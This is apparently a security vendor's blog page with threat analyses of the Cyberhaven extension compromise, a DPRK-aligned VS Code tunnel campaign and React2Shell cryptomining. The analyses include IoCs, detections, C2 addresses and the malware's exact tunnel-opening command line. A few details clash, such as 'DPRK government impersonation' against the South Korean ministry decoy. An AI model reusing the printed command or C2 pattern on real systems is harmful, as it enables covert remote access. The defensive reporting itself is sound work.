March 20, 2025

Cyberhaven Supply Chain Attack: Exploiting Browser Extensions

In late 2024, Darktrace detected unusual activity linked to Cyberhaven's Chrome browser extension. Read more about Darktrace’s investigation here.

Written by

Rajendra Rushanth

Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Rajendra Rushanth

Cyber Analyst

woman looking at laptop in the office building

Mar 2025

The evolution of supply chain attacks

Supply chain attacks are becoming increasingly sophisticated. As network defenses improve, threat actors continuously adapt and refine their tactics, techniques, and procedures (TTPs) to achieve their goals. In recent years, this has led to a rise in the exploitation of trusted services and software, including legitimate browser extensions. Exploitation of these extensions can provide adversaries with a stealthy means to infiltrate target networks and access high-value accounts undetected.

A notable example of this trend was the compromise of the Cyberhaven Chrome extension at the end of 2024. This incident appeared to be part of a broader campaign targeting multiple Chrome browser extensions, highlighting the evolving nature of supply chain attacks [1].

What is Cyberhaven?

Cyberhaven, a US-based data security organization, experienced a security breach on December 24, 2024, when a phishing attack reportedly compromised one of their employee's credentials [2]. This allowed attackers to publish a malicious version of the Cyberhaven Chrome extension, which exfiltrated cookies and authenticated sessions from targeted websites. The malicious extension was active from December 25 to December 26 – a time when most businesses and employees were out of office and enjoying the festive period, a fact not lost on threat actors. The attackers, likely a well-organized and financially motivated group, compromised more than 30 additional Chrome extensions, affecting more than 2.6 million users [3]. They used sophisticated phishing techniques to authorize malicious OAuth applications, bypassing traditional security measures and exploiting vulnerabilities in OAuth authorizations. The primary motive appeared to be financial gain, targeting high-value platforms like social media advertising and AI services [4].

In late December 2024, multiple Darktrace customers were compromised via the Cyberhaven Chrome extension; this blog will primarily focus on Darktrace / NETWORK detections from one affected customer.

Darktrace’s coverage of Cyberhaven compromises

On December 26, 2024, Darktrace identified a series of suspicious activities across multiple customer environments, uncovering a structured attack sequence that progressed from initial intrusion to privilege escalation and data exfiltration. The attack was distributed through a malicious update to the Cyberhaven Chrome extension [2]. The malicious update established a foothold in customer environments almost immediately, leading to further anomalies.

As with other Chrome browser extensions, Cyberhaven Chrome extensions were updated automatically with no user interaction required. However, in this instance, the automatic update included a malicious version which was deployed to customer environments. This almost immediately introduced unauthorized activity, allowing attackers to establish a foothold in customer networks. The update allowed attackers to execute their objectives in the background, undetected by traditional security tools that rely on known indicators of compromise (IoCS) rather than identifying anomalies.

While multiple customer devices were seen connecting to cyberhaven[.]io, a legitimate Cyberhaven domain, Darktrace detected persistent beaconing behavior to cyberhavenext[.]pro, which appeared to be attempting to masquerade as another legitimate Cyberhaven domain. Darktrace recognized this activity as unusual, triggering several model alerts in Darktrace / NETWORK to highlight the persistent outbound connections to the suspicious domain.

Further analysis of external connectivity patterns indicated an increase in anomalous HTTP requests alongside this beaconing activity. Multiple open-source intelligence (OSINT) sources also suggest that the cyberhavenext[.]pro endpoint is associated with malicious activities [5].

Figure 1: Darktrace / NETWORK’s detection of beaconing activity to cyberhavenext[.]pro

Analysis using Darktrace’s Advanced Search revealed that some of these connections were directed to the suspicious external IP address 149.28.124[.]84. Further investigation confirmed that the IP correlated with two SSL hostnames, including the malicious cyberhavenext[.]pro, further reinforcing its connection to the attack infrastructure.

Figure 2: Darktrace Advanced Search analysis showing the IP address 149.28.124[.]84 correlating to two SSL hostnames, one of which is cyberhavenext[.]pro.

Between December 23 and December 27, Darktrace observed sustained beaconing-like activity from affected devices on the customer’s network.

Figure 3: Darktrace’s detection of beaconing activities from a customer device to the endpoint 149.28.124[.]84 between December 23 and December 27.

Darktrace observed 27 unique devices connecting to the malicious command-and-control (C2) infrastructure as far back as December 3. While most connections were brief, they represented an entry point for malicious activity. Over a two-day period, two devices transmitted 5.57 GiB of incoming data and 859.37 MiB of outgoing data, generating over 3 million log events across SSL, HTTP, and connection data.

Subsequent analysis identified a significant increase in unauthorized data transfers to the aforementioned 149.28.124[.]84 IP on another customer network, highlighting the potential broader impact of this compromise. The volume and frequency of these transfers suggested that attackers were leveraging automated data collection techniques, further underscoring the sophistication of the attack.

Figure 4: Darktrace’s detection of the likely exfiltration of 859.37 MiB to the endpoint 149.28.124[.]84.

External research suggested that once active, the Cyberhaven extension would begin silently collecting session cookies and authentication tokens, specifically targeting high-value accounts such as Facebook Ads accounts [4]. Darktrace’s analysis of another affected customer noted many HTTP POST connections directed to a specific URI ("ai-cyberhaven"), while GET requests contained varying URIs prefixed with "/php/urlblock?args=AAAh....--redirect." This activity indicated an exfiltration mechanism, consistent with techniques observed in other compromised Chrome extensions. By compromising session cookies, attackers could potentially gain administrative access to connected accounts, further escalating their privileges [4].

Conclusion

This incident highlights the importance of monitoring not just endpoint security, but also cloud and browser-based security solutions, as attackers increasingly target these trusted and oft overlooked vectors.

Ultimately, by focusing on anomaly detection and behavioral analysis rather than static signatures and lists of ‘known bads’, Darktrace was able to successfully detect devices affected by the Cyberhaven Chrome browser extension compromise, by identifying activity that would likely have been considered legitimate and benign by traditional security solutions.

This compromise also serves as a reminder that supply chain attacks are not limited to traditional software vendors. Browser extensions, cloud-based applications, and SaaS services are equally vulnerable, as evidenced by Darktrace's detection of Balada Injector malware exploiting WordPress vulnerabilities to gain unauthorized network access [6]. Therefore, increased targeting of browser-based security tools, and a greater exploitation of OAuth and session hijacking techniques are to be expected. Attackers will undoubtedly refine their methods to infiltrate legitimate vendors and distribute malicious updates through trusted channels. By staying informed, vigilant, and proactive, organizations can mitigate exposure to evolving supply chain threats and safeguard their critical assets from emerging browser-based attack techniques.

Credit to Rajendra Rushanth (Cyber Analyst) Justin Torres (Senior Cyber Analyst) and Ryan Traill (Analyst Content Lead)

[related-resource]

Appendices

Darktrace Model Detections

· Compromise / Beaconing Activity To External Rare (AP: C2 Comms)

· Compromise / Beacon for 4 Days (AP: C2 Comms)

· Compromise / HTTP Beaconing to Rare Destination (AP: C2 Comms)

· Device / Suspicious Domain (AP: C2 Comms, AP: Tooling)

· Compromise / Sustained TCP Beaconing Activity To Rare Endpoint (AP: C2 Comms)

· Anomalous Server Activity / Rare External from Server (AP: C2 Comms)

· Anomalous Connection / Multiple Failed Connections to Rare Endpoint (AP: C2 Comms)

· Anomalous Server Activity / Anomalous External Activity from Critical Network Device (AP: C2 Comms)

· Compromise / Slow Beaconing Activity To External Rare (AP: C2 Comms)

· Compromise / Repeating Connections Over 4 Days (AP: C2 Comms)

· Anomalous Connection / Multiple HTTP POSTs to Rare Hostname (AP: C2 Comms)

· Anomalous Server Activity / Outgoing from Server (AP: C2 Comms)

· Compromise / High Volume of Connections with Beacon Score (AP: C2 Comms)

· Compromise / Large Number of Suspicious Failed Connections (AP: C2 Comms)

· Email Nexus / Connection to Hijacked Correspondent Link

· Compromise / Suspicious TLS Beaconing To Rare External (AP: C2 Comms)

· Compromise / Quick and Regular Windows HTTP Beaconing (AP: C2 Comms)

List of IoCs

IoC - Type - Description + Confidence

cyberhavenext[.]pro - Hostname - Used for C2 communications and data exfiltration (cookies and session tokens)

149.28.124[.]84 - IP - Associated with malicious infrastructure

45.76.225[.]148 - IP - Associated with malicious infrastructure

136.244.115[.]219 - IP - Associated with malicious infrastructure

MITRE ATT&CK Mapping

Tactic – Technique – Sub-Technique

INITIAL ACCESS - T1176 - Browser Extensions

EXECUTION - T1204.002 - Malicious Browser Extensions

PERSISTENCE - T1176 - Browser Extensions

COMMAND AND CONTROL - T1071.001 - Web Protocols

COMMAND AND CONTROL - T1001 - Data Obfuscation

CREDENTIAL ACCESS - T1539 - Steal Web Session Cookie

DISCOVERY - T1518.001 - Security Software Discovery

LATERAL MOVEMENT - T1557.003 - Man-in-the-Browser

EXFILTRATION - T1041 - Exfiltration Over C2 Channel

EXFILTRATION - T1567.002 - Exfiltration to Cloud Storage

IMPACT - T1583.006 - Session Hijacking

References

[1] https://thehackernews.com/2024/12/16-chrome-extensions-hacked-exposing.html

[2] https://www.cyberhaven.com/blog/cyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it

[3] https://www.infosecurity-magazine.com/news/chrome-browser-extensions-hijacked/

[4] https://www.theverge.com/2024/12/28/24330758/chrome-extension-cyberhaven-hijack-phishing-cyberattack-facebook-ads-authentication-theft

[5] https://www.virustotal.com/gui/domain/cyberhavenext.pro

[6] https://darktrace.com/blog/balada-injector-darktraces-investigation-into-the-malware-exploiting-wordpress-vulnerabilities

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Cyber Analyst

Senior Director of Product, Cloud | Darktrace

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

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Check out this article by Darktrace: Cyberhaven Supply Chain Attack: Exploiting Browser Extensions

Cyberhaven Supply Chain Attack: Exploiting Browser Extensions

The evolution of supply chain attacks

What is Cyberhaven?

Darktrace’s coverage of Cyberhaven compromises

Conclusion